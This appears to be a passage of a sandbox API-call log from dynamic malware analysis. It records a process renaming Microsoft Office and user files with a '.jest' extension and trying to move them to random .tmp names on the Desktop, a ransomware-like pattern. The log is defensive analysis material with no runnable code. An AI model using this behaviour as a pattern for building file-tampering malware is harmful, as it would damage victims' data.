0x0 [0168.471] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLow.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlow.jpg.jest")) returned 1 [0168.475] VarBstrFromR4 (in: fltIn=0x47945906, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.05") returned 0x0 [0168.476] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlow.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d2CBplSs51xJGIw5wyw9sp-3QMCkr8nNc 2x5lSWSoFzvWkTp2gK6oq pZdG7lD yszntPd5MGzydjg5rSGlvNQ0Wn1iiEX8LVA9n.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d2cbplss51xjgiw5wyw9sp-3qmckr8nnc 2x5lswsofzvwktp2gk6oq pzdg7ld yszntpd5mgzydjg5rsglvnq0wn1iiex8lva9n.tmp")) returned 0 [0168.476] GetLastError () returned 0x2 [0168.477] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.477] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOff.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoff.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOff.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoff.jpg.jest")) returned 1 [0168.480] VarBstrFromR4 (in: fltIn=0x47945906, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.05") returned 0x0 [0168.481] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOff.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoff.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\esr kXFIJstKxf83WMkeZGr8nFc-A9VSey5MuJU7IPjoWC-l8e4mo3I52ldZFAFaOPu1jsJY R_ 3FgnvgFFCmtXehjx0EvStTCV-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\esr kxfijstkxf83wmkezgr8nfc-a9vsey5muju7ipjowc-l8e4mo3i52ldzfafaopu1jsjy r_ 3fgnvgffcmtxehjx0evsttcv-.tmp")) returned 0 [0168.482] GetLastError () returned 0x2 [0168.483] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.484] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_High.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_high.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_High.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_high.jpg.jest")) returned 1 [0168.487] VarBstrFromR4 (in: fltIn=0x47945906, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.05") returned 0x0 [0168.488] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_High.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_high.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\z KqzBVY-iD9i6h Os9GZ15C-BWguWP9mSz-ARmJzBC0ew2nK7EAVOTi-ZsU7LrsujEZHdzsZdoH_b f328tbXyPKzydD_hzQBJ6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\z kqzbvy-id9i6h os9gz15c-bwguwp9msz-armjzbc0ew2nk7eavoti-zsu7lrsujezhdzszdoh_b f328tbxypkzydd_hzqbj6.tmp")) returned 0 [0168.488] GetLastError () returned 0x2 [0168.489] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.490] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Medium.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_medium.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Medium.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_medium.jpg.jest")) returned 1 [0168.493] VarBstrFromR4 (in: fltIn=0x47945908, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.06") returned 0x0 [0168.495] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Medium.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_medium.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fq3nxT8VPU9YypPwBID-lrntoHwjIEZLHIe R5YlrThurU1pk1QgyKIoLqvQuAsre3gjLmfNMtVkMh-BbXPU9FFLNwjYDMUyplOw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fq3nxt8vpu9yyppwbid-lrntohwjiezlhie r5ylrthuru1pk1qgykiolqvquasre3gjlmfnmtvkmh-bbxpu9fflnwjydmuyplow.tmp")) returned 0 [0168.495] GetLastError () returned 0x2 [0168.495] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.497] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Off.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_off.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Off.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_off.jpg.jest")) returned 1 [0168.499] VarBstrFromR4 (in: fltIn=0x47945908, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.06") returned 0x0 [0168.500] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Off.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_off.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-sAKBZDAJmxvHDkkPxiSFF5Emyh2V2m55fwS4J-GhoELXNKndKXMOzojrO1fVOYgdLEymov_FLytSA1wT0Tj_ifTkM8W52pG8aKO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-sakbzdajmxvhdkkpxisff5emyh2v2m55fws4j-ghoelxnkndkxmozojro1fvoygdleymov_flytsa1wt0tj_iftkm8w52pg8ako.tmp")) returned 0 [0168.500] GetLastError () returned 0x2 [0168.501] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.501] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana.css.jest")) returned 1 [0168.504] VarBstrFromR4 (in: fltIn=0x47945908, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.06") returned 0x0 [0168.505] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\L36jVPSkqV6XT4DaYSRgSs7m7HIcdHvHRq5RJLvCUgT H6Rt8TF5gygZJwB_JTz d--sMeJ4K-W P9V6yo sIuuS6HnXG2Ocj7i6U.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l36jvpskqv6xt4daysrgss7m7hicdhvhrq5rjlvcugt h6rt8tf5gygzjwb_jtz d--smej4k-w p9v6yo siuus6hnxg2ocj7i6u.tmp")) returned 0 [0168.505] GetLastError () returned 0x2 [0168.505] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.506] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana.css.jest")) returned 1 [0168.508] VarBstrFromR4 (in: fltIn=0x4794590a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.08") returned 0x0 [0168.509] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RmASgax-FRfBjDbSSrLCx 6b KC61Kvi9-Ba4v9LtB8WBOhwo8BcfySe9T1xLda2V16 uBpsuBOHoUGhAiEElYzc0mK9XveQRJYob.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rmasgax-frfbjdbssrlcx 6b kc61kvi9-ba4v9ltb8wbohwo8bcfyse9t1xlda2v16 ubpsubohoughaieelyzc0mk9xveqrjyob.tmp")) returned 0 [0168.509] GetLastError () returned 0x2 [0168.513] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.514] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue.css.jest")) returned 1 [0168.516] VarBstrFromR4 (in: fltIn=0x4794590a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.08") returned 0x0 [0168.517] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xxH338hNqNmmKT8RFPhT z1XpqSltAQYb9gYuf3qlLoqQFZhHCnsXUPHbE02ANGIG8Ami50w1iDIy_u50j vsuctCGDFhhk3FlOU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xxh338hnqnmmkt8rfpht z1xpqsltaqyb9gyuf3qlloqqfzhhcnsxuphbe02angig8ami50w1idiy_u50j vsuctcgdfhhk3flou.tmp")) returned 0 [0168.517] GetLastError () returned 0x2 [0168.518] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.518] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\banner.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\banner.xml.jest")) returned 1 [0168.520] VarBstrFromR4 (in: fltIn=0x4794590c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.09") returned 0x0 [0168.521] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\banner.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ eXSh76nkZxs3wIdxN5VM4ZdyhABdhUvoy-Nmu60 uo9WlFOUUG__MTT6NsC_jSB vC4Kn8i4pw6mvmlkiQd6ub62RDTqWlSZY5-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ exsh76nkzxs3widxn5vm4zdyhabdhuvoy-nmu60 uo9wlfouug__mtt6nsc_jsb vc4kn8i4pw6mvmlkiqd6ub62rdtqwlszy5-.tmp")) returned 0 [0168.521] GetLastError () returned 0x2 [0168.532] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="郎", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.533] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w67_j_1\\pGoiDI.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w67_j_1\\pgoidi.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w67_j_1\\pGoiDI.pps.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w67_j_1\\pgoidi.pps.jest")) returned 1 [0168.538] VarBstrFromR4 (in: fltIn=0x4794590e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.11") returned 0x0 [0168.539] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w67_j_1\\pGoiDI.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w67_j_1\\pgoidi.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\edLViPX_x7xfE5fYOP8_gk5X_ZwxE05iGXHEKO6b5SV-ioU9WCPJuikyTMpSxAr82g4i Mc8_C9WP6bYbY9CPQtXVPAfARSIj82E.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\edlvipx_x7xfe5fyop8_gk5x_zwxe05igxheko6b5sv-iou9wcpjuikytmpsxar82g4i mc8_c9wp6byby9cpqtxvpafarsij82e.tmp")) returned 0 [0168.539] GetLastError () returned 0x2 [0168.542] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.543] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay.css.jest")) returned 1 [0168.546] VarBstrFromR4 (in: fltIn=0x4794590e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.11") returned 0x0 [0168.547] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WrBmvvOnZG0-Xcvd pnzmk669NzSNZK0gKewwXZ91f_PxeLCnKf5As3AoOYiqAl_DfRyiPnjTqRHtUcgs2FU2ORVobjz59irQ7fV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wrbmvvonzg0-xcvd pnzmk669nzsnzk0gkewwxz91f_pxelcnkf5as3aooyiqal_dfryipnjtqrhtucgs2fu2orvobjz59irq7fv.tmp")) returned 0 [0168.547] GetLastError () returned 0x2 [0168.547] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.551] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizcard.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizcard.xml.jest")) returned 1 [0168.554] VarBstrFromR4 (in: fltIn=0x4794590f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.12") returned 0x0 [0168.555] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizcard.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K4mWPcpqUsrEoXvVOM_4r3 VHFyeGn_Izkga7e_M7lFU0 84OBRAwG KIKvTJ4xgTbXLUftdTR4qFFB3lnlY3JZr16ykuXhM6oI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k4mwpcpqusreoxvvom_4r3 vhfyegn_izkga7e_m7lfu0 84obrawg kikvtj4xgtbxluftdtr4qffb3lnly3jzr16ykuxhm6oi.tmp")) returned 0 [0168.555] GetLastError () returned 0x2 [0168.555] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.557] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.xml.jest")) returned 1 [0168.560] VarBstrFromR4 (in: fltIn=0x4794590f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.12") returned 0x0 [0168.561] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n0n91qWR SBsS-mRK_XPtjim7BCaUdOWVwOLCS3YpltxMMR7VNlpKtlOspc4DuBkSoUJ5lQcpzL5u_cRyy4AZqlwg6VNkZ-qmV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n0n91qwr sbss-mrk_xptjim7bcaudowvwolcs3ypltxmmr7vnlpktlospc4dubksouj5lqcpzl5u_cryy4azqlwg6vnkz-qmv.tmp")) returned 0 [0168.561] GetLastError () returned 0x2 [0168.562] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.563] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BREAK.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\break.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BREAK.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\break.jpg.jest")) returned 1 [0168.566] VarBstrFromR4 (in: fltIn=0x4794590f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.12") returned 0x0 [0168.567] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BREAK.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\break.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MkkEqoOWI-RK71enQo6HTC56e335bE0poWPcFdMzdxfQRK_-T_uJK9 fBEiN7oPf_ cMhtdtTTyD YhCscsGJYQ8u1st6oZ1n1 .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mkkeqoowi-rk71enqo6htc56e335be0powpcfdmzdxfqrk_-t_ujk9 fbein7opf_ cmhtdtttyd yhcscsgjyq8u1st6oz1n1 .tmp")) returned 0 [0168.567] GetLastError () returned 0x2 [0168.568] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, 